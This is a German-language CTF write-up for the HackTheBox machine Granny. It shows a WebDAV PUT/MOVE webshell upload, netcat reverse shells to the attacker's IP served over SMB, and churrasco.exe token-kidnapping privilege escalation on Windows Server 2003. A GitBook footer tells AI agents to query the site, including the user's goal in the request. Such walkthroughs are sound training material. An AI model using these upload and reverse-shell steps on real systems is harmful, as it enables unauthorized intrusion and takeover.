> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md).

# Granny HackTheBox Writeup

Writeup zur HackTheBox-Easy-Windows-Maschine Granny mit Abdeckung von Missbrauch der PUT- & MOVE-Methoden - Hochladen einer Aspx-WebShell, Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow (RCE), Token Kidn

{% embed url="<https://app.hackthebox.com/machines/14>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Ausnutzen der PUT- und MOVE-Methoden - Hochladen einer Aspx-WebShell
* Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow (RCE)
* Token Kidnapping - Churrasco (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec6875c612095ce6ed9fd2f84c854b0165311b5a%2Fimage%20(872).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcdb5d3f8e9fe22b78c31ec623170af1b68f8ad0%2Fimage%20(873).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.15 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-061004807c4a6da8a12ae158e1aa88a20edae329%2Fimage%20(874).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port-Version-Scan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80 10.10.10.15 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-098cd690fc77a873438394d4ba2337d1dd98de7b%2Fimage%20(875).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-faf516ba324147ff33fe7d4aceabb4a0cfd803bb%2Fimage%20(876).png?alt=media" alt=""><figcaption></figcaption></figure>

## WebDAV-Schwachstelle

Port 80 ist offen, und der Server unterstützt WebDAV. Dies ermöglicht uns potenziell, Dateien über die PUT-Methode hochzuladen und sie mit MOVE umzubenennen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-063bf5b16aa08a0c937fa828f58c6a11856fb5ba%2Fimage%20(877).png?alt=media" alt=""><figcaption></figcaption></figure>

Erstelle eine Testdatei:

```bash
echo "this is a test" > test.txt
```

Verbinde dich mit dem Server mit dem **cadaver** Tool:

```bash
cadaver 10.10.10.15
```

Versuche, die Datei mit dem PUT-Befehl hochzuladen:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e56f1e6d759304a190160d5866b126a62746d577%2Fimage%20(879).png?alt=media" alt=""><figcaption></figcaption></figure>

* Ergebnis: Erfolg.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-124a9083f39a3e7e53930307aecb5b701e00a516%2Fimage%20(878).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **WebShell-Upload**

Kopiere eine bereits vorhandene WebShell-ASPX:

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Versuche, sie direkt hochzuladen:

```powershell
put aspx_cmd.aspx
```

Ergebnis: Fehlgeschlagen (der Server blockiert Dateien mit der .aspx-Erweiterung).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e9c62765e574591042e7651de6d1a1c40775bd9%2Fimage%20(880).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Ändere die Erweiterung in **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt
```

Versuche den Upload erneut:

```powershell
PUT cmd.txt
```

* Ergebnis: Erfolg.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a54a685c7956c31ea6d21afd19a35fd2f0cc867b%2Fimage%20(882).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### Benenne die Datei mit MOVE um, um die Erweiterung wiederherzustellen:

```powershell
move cmd.txt cmd.aspx
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-748149579877b5e4af9d895f7e6acf1c6aa3ff6a%2Fimage%20(883).png?alt=media" alt=""><figcaption></figcaption></figure>

Greife über den Browser auf die WebShell zu:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5ed66749ef5e64c75ce0c6a3bfc1406d324e4ad%2Fimage%20(884).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Reverse Shell über die WebShell:**

Lege ein Netcat-Programm im aktuellen Verzeichnis ab:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Starte einen SMB-Server, um die Datei freizugeben:

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

Horche auf deinem Rechner auf Port 443:

```bash
sudo rlwrap nc -nvlp 443
```

Führe den Reverse-Shell-Befehl aus der WebShell aus:

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d2b5943177ce0de6355993c9327a9f6eb603835%2Fimage%20(885).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Privilegieneskalation :**

### Kernel-Exploitation - Windows Server 2003

Unter Verwendung der `systeminfo` Befehl finden wir heraus, dass das System sehr alt ist (Windows Server 2003):

```bash
systeminfo
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3480c7c9748f9c9b8bd5f29ac222ef494cb7bca2%2Fimage%20(2658).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir haben außerdem das `SeImpersonatePrivilege` Privileg, das es uns ermöglicht, zu versuchen, Rechte zu erhöhen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-134a6abd9f21422d639ab16e4af960e8995c0acc%2Fimage%20(2662).png?alt=media" alt=""><figcaption></figcaption></figure>

Um diese Einschränkung zu umgehen, verwenden wir das **churrasco.exe** Tool.

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Windows-Dateiübertragung (SMB)/*/*

> Wir verwenden **smbserver.py** um ein Verzeichnis mit der Exploit-Datei 40627.exe freizugeben. Diese Datei wird dann auf das Zielsystem kopiert.

```bash
smbserver.py share $(pwd) -smb2support
```

Auf dem Zielsystem haben wir die schädliche Datei mit dem SMB-Befehl kopiert:

```bash
copy //10.10.14.30/share/churrasco.exe churrasco.exe
```

Anschließend können wir mit dieser Binärdatei jeden beliebigen Befehl ausführen, zum Beispiel:

```powershell
./churrasco.exe "whoami"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72c9b85d21b3083ff772843ef8696245beb215dd%2Fimage%20(2663).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Reverse Shell herstellen**

Um eine Reverse Shell herzustellen, lauschen wir auf Port 443:

```bash
sudo rlwrap nc -nvlp 443
```

Wir erstellen einen SMB-Server neu mit **nc.exe**:

```bash
smbserver.py share $(pwd) -smb2support
```

Schließlich führen wir die Reverse Shell mit dem folgenden Befehl aus:

```bash
./churrasco.exe "//10.10.14.30/share/nc.exe -e cmd 10.10.14.30 443"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88b68e3706e7ad0eaa692f7ad6170adb0e8ca226%2Fimage%20(2664).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5a61e1621ed7a529aa55f423373b4ba478a591a7%2Fimage%20(2665).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6bd815001e2de0ae2c70f08799052f5253a1bc91%2Fimage%20(2666).png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
